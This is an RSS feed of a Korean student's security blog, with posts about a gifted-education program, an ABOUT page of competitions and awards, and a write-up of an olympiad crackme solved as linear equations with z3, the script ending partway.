<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>YunSeok's Blog</title>
    <link>https://yunseoks.tistory.com/</link>
    <description>:P</description>
    <language>ko</language>
    <pubDate>Wed, 8 Apr 2026 18:37:04 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>YunSeok, Hong</managingEditor>
    <image>
      <title>YunSeok's Blog</title>
      <url>https://tistory1.daumcdn.net/tistory/2928240/attach/a2deefa7f19a4694a4ab6662f7d3e47e</url>
      <link>https://yunseoks.tistory.com</link>
    </image>
    <item>
      <title>정보보호 영재교육원 - 수료</title>
      <link>https://yunseoks.tistory.com/82</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;약 1년동안 정보보호 영재교육원을 수료를 하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 중,,, 정보보호 영재교육원에서 제일 맛집(?) 같은 존재는 &quot;&lt;span style=&quot;background-color: #ffffff; color: #3c4043;&quot;&gt;여름집중교육&quot; 과정인데&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #3c4043;&quot;&gt;2020년도와 마찬가지로 2021년도 동일하게 온라인으로 진행되었는데, 이게 많이 아쉬웠었다. (학교 개학도 겹쳤었다.)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온라인 수업이다보니, 초반에는 열심히 수업을 들었지만 이후로 가면 갈수록 캠에서 머리만 보인다던가,,, 그러기도 했었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대회 일정도 겹치는 부분들도 있었기 때문에 수업을 참여한 상태에서 대회를 참여하기도 했었는데 그런 기억도 언젠간 나중에 &quot;라떼는 말이야~&quot; 라고 이야기할 수 있지 않을까...? 라는 생각도 종종 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경진대회 개인전, 단체전 문제 수준같은 경우는 특성화 고등학교에서 개최하는 중학생 대상으로 하는 대회에서 나올 법한 문제 수준이였고, 나쁘지 않았다고 생각이 들었다. ( 중학생들도 하나쯤은 풀어야되기 때문에)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인전 대회를 서울여대 직접 가서 했었는데, 일일이 다 세팅하기 귀차니즘으로 인해서 Anydesk로 집 컴퓨터랑 원격했었는데 레이턴시가 많이 심해서, 종종 애 먹었던게 기억이 남는다. (이후 Parsec 프로그램 존재를 알았고, 괜춘한 레이턴시를 보여줬기 때문에 나쁘지 않았던 것 같다. 하지만 두 컴퓨터가 외부 GPU가 있어야한다.. 알았어도 분명 느렸을 것이다,,)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단체전같은 경우는 팀 배정이 자유롭게 할 수 있었다고 한다면, 조금 더 좋은 성과를 낼 수 있지 않았을까? 라는 생각이 들긴 하지만, 그래도 나쁘지 않은 성과가 나올 수 있어서 다행이라고 생각이 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 한 팀에 포너가 몰려있거나, 웹하는 사람들이 다 각자 나뉘어져있다고 하면 다양한 문제를 골고루 풀기 어렵기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 다행히 영재교육원 수료를 마무리 할 수 있는 것 같아 다행인 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;R&amp;amp;E 과정같은 경우는 담당 교수님이 이번년도 기준으로 원장님이셨는데, 진짜 존경할 수 있을 정도로 눈 높이에 맞춰서 교육해 주셨기 때문에 나쁘지 않았다고 생각이 들었다. (vagrant 존재를 처음 알게 된 계기...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 아쉽게도, 많은 시간이 주어지지 않았기 때문에 다양한 활동을 하지 못한 것이 아쉬움으로 남았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;(분명 교수님에게 더 많이 해주실 수 있는지 여쭤봤는데 아쉽게도,, 잊혀진 것 같다..)&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cW20nr/btrmfiNCryf/vYBAAoCKI0RPXCuUi12X0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cW20nr/btrmfiNCryf/vYBAAoCKI0RPXCuUi12X0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cW20nr/btrmfiNCryf/vYBAAoCKI0RPXCuUi12X0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcW20nr%2FbtrmfiNCryf%2FvYBAAoCKI0RPXCuUi12X0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;112&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;49&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G9mc7/btrmjcq13ud/5GsN3kAotEdf6VMevB0Sak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G9mc7/btrmjcq13ud/5GsN3kAotEdf6VMevB0Sak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G9mc7/btrmjcq13ud/5GsN3kAotEdf6VMevB0Sak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG9mc7%2Fbtrmjcq13ud%2F5GsN3kAotEdf6VMevB0Sak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;49&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;49&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 영재교육원 생활을 하면서, 많다고 하면 많은 배움을 얻을 수 있는 계기가 되었던 것 같았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포너블, 즉 시스템 해킹이라고 불리는 부분들에 대한 지식이 많이 한계가 존재하는 것 같아서 앞으로 골고루 배울 수 있도록 노력해야 되겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 나는 웹 해킹이 주 분야라고 하기도 하고, 포렌식이 주 분야라기도 하고,, 솔직히 분야 편식은 나쁜 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각하는 것을 무언가,, 한정을 짓는다고 생각된다고 해야될까..?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이정도로 마무리 해야되겠다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;(여담이지만, 중등반 튜터쌤들 말에 따르면, 캠 안에서 무언가 던지고, 화났다는 친구들이 많았다고 한다..)&lt;/s&gt;&lt;/p&gt;</description>
      <category>Story/InfoSec Gifted</category>
      <category>샌즈</category>
      <category>수료했ㄷr</category>
      <category>와!</category>
      <category>정보보호영재교육원</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/82</guid>
      <comments>https://yunseoks.tistory.com/82#entry82comment</comments>
      <pubDate>Fri, 26 Nov 2021 21:20:44 +0900</pubDate>
    </item>
    <item>
      <title>정보보호 영재교육원 - 지원</title>
      <link>https://yunseoks.tistory.com/78</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;중학교 2학년 때 우연찮게 처음 나간 대회임에도 불구하고 한세 사이버 보안고등학교에서 주최하는 제4회 중학생 정보보안 콘테스트 입상을 하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러고 나서 시상식 참석으로 재학 중이었던 중학교로 공문이 발송되었고, 이를 알게 된 중학교 정보 선생님은&amp;nbsp;자연스럽게 정보보호 영재교육원 존재에 대해서 알려주셨다. 사실 BoB(Best of the Best) 존재도 사실 몰랐지만, 이후에 알게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 정보쌤이 알려주신 시점에서 지원서를 넣을 수 있었긴 했으나, 흔히 말하는 &quot;귀차니즘&quot;으로 지원하지도 않았고, 그다음 년에도, 그리고 고등학교 1학년 때까지 지원을 하지 않았었다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;왜?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나에게 도움되는지에 대해서 몰랐던게 내 '탓'이 아녔을까 싶다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고등학교 2학년때 우연히 정보 선생님을 통해서 중학교 후배가 정보보호 영재교육원에 대해서 준비하고 있다고 전달을 받았었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 중학교 후배 친구는 아쉽게도, 서류를 붙지 못해서 아쉽다는 생각을 했었다.&lt;br /&gt;그래도 부디 내년에는 꼭 붙을 수 있길 바래야 되겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;아, 나도 한번 해볼까?&quot;&lt;/b&gt;라는 생각이 문뜩 들어서 중학교 때 정보 선생님한테 같이 추천서를 부탁드렸었다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;어떻게?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지원하기 위해서는 &quot;자기소개서&quot;, &quot;교사 추천서&quot; 등등이 필요로 했는데, 준비하는 데 2~3일 정도 걸렸었던 것 같다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1월 20일&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 나머지 서류도 준비해서 언제 보냈는지 기억은 안 나지만, 1월 20일 날 서류가 잘 접수가 되었다고, 연락이 왔었다.&lt;br /&gt;이후 1월 20일날 오후 3시쯤에 서류 합격자에 대해서 문자 메시지를 받았었다, 진짜 긴장하고 들어갔었는데 나도 명단에 있어서 매우 놀라웠다...&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1월 29일(금)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;면접을 이 날에 했었다. 확실한 건 내가 많이 목소리를 떨었다는 것이다.&lt;br /&gt;아무래도 긴장해서 그랬던 것 같다. 그래도 면접 질문에 대해서 자기소개서에서 풀었던 내용들이 몇 개 있어서 잘 답변할 수 있었다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2월 03일&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 해서 떨어질 것 같았던 정보보호 영재교육원 2월 3일 날, 최종 합격 명단이 공개되었다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2월 10일&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 이날 입학 축하하다는 소식이 왔다!&lt;br /&gt;이날 진짜 기분이 좋았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자연스레 인스타그램 스토리 올렸을 때 주변 사람들이 대학교 가냐고 물어봤었다.&lt;br /&gt;나는 자연스레 영재교육원이라고 말씀을 드렸다.. ㅋㅎㅋㅎㅋ&lt;/p&gt;</description>
      <category>Story/InfoSec Gifted</category>
      <category>ㅂㅇ</category>
      <category>ㅎㅇ</category>
      <category>정보보호영재교육원</category>
      <category>지원한 썰품</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/78</guid>
      <comments>https://yunseoks.tistory.com/78#entry78comment</comments>
      <pubDate>Mon, 9 Aug 2021 02:04:11 +0900</pubDate>
    </item>
    <item>
      <title>ABOUT</title>
      <link>https://yunseoks.tistory.com/76</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;소속 / 수료&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;제주대학교 컴퓨터공학과&lt;br /&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;스텔라잇 2017.06 ~ 2023.10&lt;/li&gt;
&lt;li&gt;스텔라아이티(주) 2022.01 ~ 현재&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;서울여자대학교 정보보호영재교육원 고등전문B반 2021.03 ~ 2021.11&lt;br /&gt;&amp;rarr; [특별반] 해킹경진대회 대비반 2021.05.08 ~ 2021.09.25&lt;br /&gt;&amp;rarr; [특별반] R&amp;amp;E(Research &amp;amp; Education) 2021.05 ~ 2021.11&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;경기꿈의대학 &quot;4차 산업혁명 시대 R을 통해 배우는 데이터 과학&quot; 2021.04.08 ~ 2021.06.10 17시간 수료&lt;/li&gt;
&lt;li&gt;경기꿈의대학 &quot;정보보안 및 해커방어&quot; 2021.04.13 ~ 2021.06.15 17시간 수료&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대회(국내)&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2018 - if hackathon (해커톤)&lt;/li&gt;
&lt;li&gt;2018 - 제주특별자치도 디지털 사회혁신 해커톤&lt;/li&gt;
&lt;li&gt;2018 - 제 4회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교)&lt;/li&gt;
&lt;li&gt;2019 - 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 예선 8등&lt;/li&gt;
&lt;li&gt;2019 - 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 본선 6등&lt;/li&gt;
&lt;li&gt;2019 - 사이버작전 경연대회 학생부 예선전 4등&lt;/li&gt;
&lt;li&gt;2019 - 사이버작전 경연대회 학생부 본선 3등&lt;/li&gt;
&lt;li&gt;2019 - 제 6회 The Hacking Championship Junior 예선전 4등&lt;/li&gt;
&lt;li&gt;2019 - 제 5회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 3등&lt;/li&gt;
&lt;li&gt;2020 - 중부대학교 해킹방어대회 (JBU-CTF) 10등&lt;/li&gt;
&lt;li&gt;2020 - 15회 중고생정보보호올림피아드 본선 진출&lt;/li&gt;
&lt;li&gt;2021 - KOSPO 제2회 웹서비스 경진대회&lt;/li&gt;
&lt;li&gt;2021 - 전국 고등학생 보안경진대회&lt;/li&gt;
&lt;li&gt;2021 - 화이트햇 콘테스트 청소년부 예선 3등 -&amp;gt; 본선 진출&lt;/li&gt;
&lt;li&gt;2021 - 화이트햇 콘테스트 청소년부 본선 4등&lt;/li&gt;
&lt;li&gt;2021 - 제7회 정보보호영재교육원 정보보안경진대회 개인전 수도권 2등, 전체 4등&lt;/li&gt;
&lt;li&gt;2021 - 제7회 정보보호영재교육원 정보보안경진대회 단체전 2등&lt;/li&gt;
&lt;li&gt;2021 - 한국정보보호학회 호남지부 추계학술대회(기여)&lt;/li&gt;
&lt;li&gt;2022 - 한국컴퓨터정보학회 동계학술대회&lt;/li&gt;
&lt;li&gt;2022 - 한국정보통신학회 춘계종합학술대회&lt;/li&gt;
&lt;li&gt;2022 - WACON 2022 청소년부 예선 1등&lt;/li&gt;
&lt;li&gt;2022 - WACON 2022 청소년부 본선 2등&lt;/li&gt;
&lt;li&gt;2022 - 한국코드페어 2022 [ 서면심사 통과 -&amp;gt; 예선 통과 -&amp;gt; 본선 4등 -&amp;gt; &lt;s&gt;국가대표 선발전 포기 -&amp;gt; ISEF Finalist 23&lt;/s&gt;]&lt;/li&gt;
&lt;li&gt;2022 - KOSPO 제3회 웹서비스 경진대회&lt;/li&gt;
&lt;li&gt;2022 - 한국정보통신학회 추계종합학술대회&lt;/li&gt;
&lt;li&gt;2022 - 화이트햇 콘테스트 청소년부 예선 6등 -&amp;gt; 본선 진출 -&amp;gt; 본선 4등&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수상&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;제 4회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 금상&lt;/li&gt;
&lt;li&gt;2019 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 은상&lt;/li&gt;
&lt;li&gt;2019 사이버작전 경연대회 학생부 장려상&lt;/li&gt;
&lt;li&gt;제 5회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 은상&lt;/li&gt;
&lt;li&gt;KOSPO 제2회 웹서비스 경진대회 우수상 (청소년 부문)&lt;/li&gt;
&lt;li&gt;제 7회 정보보안 경진대회 개인전 고등부 우수상(영재교육원장상)&lt;/li&gt;
&lt;li&gt;제 7회 정보보안 경진대회 단체전 최우수상(KERIS 원장상)&lt;/li&gt;
&lt;li&gt;서울여자대학교 정보보호영재교육원 노력상&lt;/li&gt;
&lt;li&gt;2022년 한국정보통신학회 춘계종합학술대회 학생우수논문상(Anycast 구조와 BGP ECMP를 활용한 효율적인 DDoS 공격 방어 기법에 대한 연구)&lt;/li&gt;
&lt;li&gt;WACON 2022 청소년부 2위상 (주식회사 티오리한국상)&lt;/li&gt;
&lt;li&gt;KOSPO 제3회 웹서비스 경진대회 대상 (청소년 부문)&lt;/li&gt;
&lt;li&gt;2022년 한국정보통신학회 추계종합학술대회 학생우수논문상(IP Spoofing을 이용한 통한 분산 반사 서비스 공격의 보안 위협과 대응 실태 연구)&lt;/li&gt;
&lt;li&gt;2022년 한국정보통신학회 추계종합학술대회 학생우수논문상(만료된 도메인의 전자우편을 통한 개인정보 유출에 관한 연구)&lt;/li&gt;
&lt;li&gt;2022년 한국코드페어 SW공모전 고등 부문 은상 (한국지능정보사회진흥원장상 NIA 원장상)&lt;/li&gt;
&lt;li&gt;2023년 제3회 아라주는 SW경진대회 우수상 (제주ICT기업협회장상)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;관련 언론 기사&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dailysecu.com/news/articleView.html?idxno=138586&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;사이버 공격으로부터 국민-산업 지키는 정보보안 전문가 양성&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.donga.com/news/article/all/20220726/114671168/1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&amp;lsquo;WACON 2022&amp;rsquo; K-사이버보안 우수기업 및 모의 해킹대회 시상식 개최&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;취약점 제보&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Naver BugBounty Program SPECIAL CONTRIBUTORS(2020) 선정&lt;br /&gt;-&amp;gt; NBB-1372&lt;/li&gt;
&lt;li&gt;Naver BugBounty Program Hall of Fame(2022)&lt;br /&gt;-&amp;gt; NBB-2325&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;논문 투고/기여&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://ibookkorea.net/Viewer/2022-01/121&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2022년 &lt;/a&gt;&lt;a href=&quot;http://ibookkorea.net/Viewer/2022-01/121&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;한국컴퓨터정보학회 동계학술대회 - &lt;/a&gt;&lt;a href=&quot;http://ibookkorea.net/Viewer/2022-01/121&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GRE 터널링을 이용한 BGP 어나운싱 방법 연구&lt;/a&gt; - 투고 및 게재 / 1저자&lt;/li&gt;
&lt;li&gt;2022년 한국정보통신학회 춘계종합학술대회 - Anycast 구조와 BGP ECMP를 활용한 효율적인 DDoS 공격 방어 기법에 대한 연구 - 투고 및 게재 / 1저자&lt;/li&gt;
&lt;li&gt;2022년 한국정보통신학회 추계종합학술대회 -&amp;nbsp; IP Spoofing을 이용한 통한 분산 반사 서비스 공격의 보안 위협과 대응 실태 연구 - 투고 및 게재 / 1저자&lt;/li&gt;
&lt;li&gt;2022년 한국정보통신학회 추계종합학술대회 -&amp;nbsp;&amp;nbsp;만료된 도메인의 전자우편을 통한 개인정보 유출에 관한 연구 - 투고 및 게재 / 공저자&lt;/li&gt;
&lt;li&gt;2022년 한국정보통신학회 논문지 - BGP 하이재킹 보안 위협 대응 현황 및 과제 - 투고 및 게재 / 공저자&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>ABOUT</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/76</guid>
      <comments>https://yunseoks.tistory.com/76#entry76comment</comments>
      <pubDate>Sun, 9 May 2021 21:20:08 +0900</pubDate>
    </item>
    <item>
      <title>정보보호올림피아드 2020 본선 Q2 문제</title>
      <link>https://yunseoks.tistory.com/71</link>
      <description>&lt;p&gt;안녕하세요. 잇님들&lt;/p&gt;
&lt;p&gt;오늘은 정보보호 올림피아드에서 나온 Q2 문제를 알아볼꺼에요.&lt;/p&gt;
&lt;pre id=&quot;code_1610072800104&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;

int Solution(unsigned int *data)
{

        if ( 316 * data[0]
	 - 901 * data[1]
     + 0 * data[2]
     - 984 * data[3]
     + 359 * data[4]
     - 986 * data[5]
     - 869 * data[6]
     - 733 * data[7]
     - 800 * data[8]
     + 621 * data[9] == -347560 ){
                if ( 754 * data[0]
				     + 103 * data[1]
				     - 230 * data[2]
				     + 359 * data[3]
				     - 516 * data[4]
				     + 133 * data[5]
				     - 16 * data[6]
				     - 500 * data[7]
				     - 343 * data[8]
				     + 980 * data[9] == 31039 ){
                        if ( 641 * data[0]
						     +262 * data[1]
						     - 415 * data[2]
						     - 889 * data[3]
						     + 621 * data[4]
						     - 855 * data[5]
						     - 818 * data[6]
						     - 785 * data[7]
						     - 866 * data[8]
						     - 799 * data[9]== -262955 ){
                                if ( 473 * data[0]
							     - 57 * data[1]
							     - 477 * data[2]
							     + 164 * data[3]
							     - 22 * data[4]
							     - 865 * data[5]
							     - 784 * data[6]
							     - 768 * data[7]
							     + 416 * data[8]
							    - 121 * data[9]== -180990){
                                        if ( 944 * data[0]
                                      - 912 * data[1]
                                      + 667 * data[2]
                                      + 303 * data[3]
                                      + 524 * data[4]
                                      - 523 * data[5]
                                      + 227 * data[6]
                                      + 799 * data[7]
                                      - 618 * data[8]
                                      - 739 * data[9]== 156060 ){
                                                if ( 597 * data[0]
                                              - 381 * data[1]
                                              - 996 * data[2]
                                              + 109 * data[3]
                                              + 476 * data[4]
                                              - 48 * data[5]
                                              - 710 * data[6]
                                              - 384 * data[7]
                                              - 390 * data[8]
                                              - 507 * data[9]== -143022){
                                                        if (164 * data[0]
                                                      - 300 * data[1]
                                                      - 808 * data[2]
                                                      + 308 * data[3]
                                                      + 311 * data[4]
                                                      - 144 * data[5]
                                                      + 230 * data[6]
                                                      + 251 * data[7]
                                                      + 998 * data[8]
                                                      - 469 * data[9]== 18791){
                                                                if (301 * data[0]
                                                              + 571 * data[1]
                                                              + 955 * data[2]
                                                              - 462 * data[3]
                                                              - 4 * data[4]
                                                              - 541 * data[5]
                                                              - 380 * data[6]
                                                              + 96 * data[7]
                                                              - 62 * data[8]
                                                              - 452 * data[9]== 60199){
                                                                 if (703 * data[0]
                                                                      - 635 * data[1]
                                                                      - 733 * data[2]
                                                                      + 119 * data[3]
                                                                      - 549 * data[4]
                                                                      + 220 * data[5]
                                                                      + 739 * data[6]
                                                                      + 102 * data[7]
                                                                      + 812 * data[8]
                                                                      - 770 * data[9]== -48454){
                                                                 if (207 * data[0]
                                                                       + 426 * data[1]
                                                                       + 324 * data[2]
                                                                       + 403 * data[3]
                                                                       + 149 * data[4]
                                                                       + 257 * data[5]
                                                                       + 765 * data[6]
                                                                       - 368 * data[7]
                                                                       + 707 * data[8]
                                                                       - 221 * data[9]== 202674 ){
                                                                

                                                                 return 1;
                                                                 
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                }
                                                                else
                                                                {
                                                                }
                                                        }
                                                        else
                                                        {
                                                        }
                                                }
                                                else
                                                {
                                                }
                                        }
                                        else
                                        {
                                        }
                                }
                                else
                                {
                                }
                        }
                        else
                        {
                        }

        return 0;
}

int main(){
        unsigned int data[10];

	puts(&quot; ** enjoy **&quot;);
        fflush(stdin);
        int i; 
        for (i = 0; i &amp;lt; sizeof(data)/sizeof(int); i++) {
                printf(&quot; Input[%d] : &quot;, i);
                fflush(stdin);
                scanf(&quot;%u&quot;, &amp;amp;data[i]);
        }

        if ( (unsigned int)Solution(data) ) {
        
            printf(&quot; [+] flag {%c%c%c%c%c%c%c%c%c%c}\n&quot;, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9]);
        }
        else {
                puts(&quot; [-] nope!!&quot;);
        }
        return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;위와 같은 코드가 주어졌고, 10차 방정식을 풀어야되네요!&lt;/p&gt;
&lt;p&gt;인간이 어떻게 이걸 다 푸냐고요? 네, 풀려면 엄청난 시간이 필요로 할꺼에요.&lt;/p&gt;
&lt;p&gt;이걸 10초만에 계산하는 인간이 있다면, 그 사람은 외계인일 가능성이 높을꺼에요.&lt;/p&gt;
&lt;p&gt;조심하세요...&lt;/p&gt;
&lt;pre id=&quot;code_1610074454818&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python
from z3 import *
import json

data = [ BitVec('%i'%i,8) for i in range(0,10)]



s = Solver()
 
# s.add(((data[3] * data[6]) ^ (data[2] * data[2])) == 7320)
s.add(316 * data[0] - 901 * data[1] + 0 * data[2] - 984 * data[3] + 359 * data[4] - 986 * data[5] - 869 * data[6] - 733 * data[7] - 800 * data[8] + 621 * data[9] == -347560)
s.add(754 * data[0] + 103 * data[1] - 230 * data[2] + 359 * data[3] - 516 * data[4] + 133 * data[5] - 16 * data[6] - 500 * data[7] - 343 * data[8] + 980 * data[9] == 31039)
s.add(641 * data[0] +262 * data[1] - 415 * data[2] - 889 * data[3] + 621 * data[4] - 855 * data[5] - 818 * data[6] - 785 * data[7] - 866 * data[8] - 799 * data[9]== -262955)
s.add(473 * data[0] - 57 * data[1] - 477 * data[2] + 164 * data[3] - 22 * data[4] - 865 * data[5] - 784 * data[6] - 768 * data[7] + 416 * data[8] - 121 * data[9]== -180990)
s.add(944 * data[0] - 912 * data[1] + 667 * data[2]  + 303 * data[3] + 524 * data[4] - 523 * data[5] + 227 * data[6] + 799 * data[7] - 618 * data[8] - 739 * data[9]== 156060)
s.add(597 * data[0] - 381 * data[1] - 996 * data[2] + 109 * data[3] + 476 * data[4] - 48 * data[5] - 710 * data[6] - 384 * data[7] - 390 * data[8] - 507 * data[9]== -143022)
s.add(164 * data[0] - 300 * data[1] - 808 * data[2] + 308 * data[3] + 311 * data[4] - 144 * data[5] + 230 * data[6] + 251 * data[7] + 998 * data[8] - 469 * data[9]== 18791)
